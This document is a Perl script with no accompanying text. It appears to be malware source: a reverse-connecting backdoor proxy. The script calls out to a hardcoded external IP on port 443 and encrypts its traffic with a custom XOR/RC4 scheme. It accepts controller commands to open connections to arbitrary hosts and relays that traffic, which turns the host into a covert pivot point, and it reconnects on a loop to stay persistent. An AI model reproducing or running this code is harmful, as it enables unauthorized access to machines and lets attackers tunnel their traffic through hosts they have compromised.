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#!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.173'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) \| O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 \|\| $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; }

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